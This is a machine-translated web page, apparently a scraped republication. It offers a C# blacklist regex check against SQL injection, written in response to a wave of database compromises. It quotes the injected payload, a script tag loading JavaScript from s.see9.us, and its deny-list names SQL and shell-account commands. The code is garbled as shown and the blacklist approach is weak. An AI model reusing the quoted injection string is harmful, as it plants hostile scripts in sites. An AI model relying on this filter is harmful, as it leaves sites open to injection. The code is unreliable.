ASP,. Net anti-injection program and code (S. see9.us Trojan solution)

Source: Internet
Author: User

Recently, many website databases have been infected with Trojans, such as "> </title> <SCRIPT src = http ://S. see9.us/S. js> </SCRIPT> character, now provides you with ASP and. Net Solutions

 

C # anti-injection checkCode

/// <Summary>
/// Anti-injection string check
/// </Summary>
/// <Param name = "str"> string to be checked </param>
/// <Returns> </returns>
Public static bool stringcheck (string Str)
{
If (Str. Trim () = "" | STR = NULL)
{
Return true;
}
Else
{
RegEx Re = new RegEx (@ "\ s ");
STR = Re. Replace (Str. Replace ("% 20 ",""),"");
String Pattern = @ "select | insert | Delete from | count \ (| drop table | update | truncate | ASC \ (| mid \ (| char \ (| xp_mongoshell | exec master | net localgroup Administrators |: | net user | "" | \ '| or ";
If (RegEx. ismatch (STR, pattern ))
{
Return false;
}
Else
{
Return true;
}
}
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.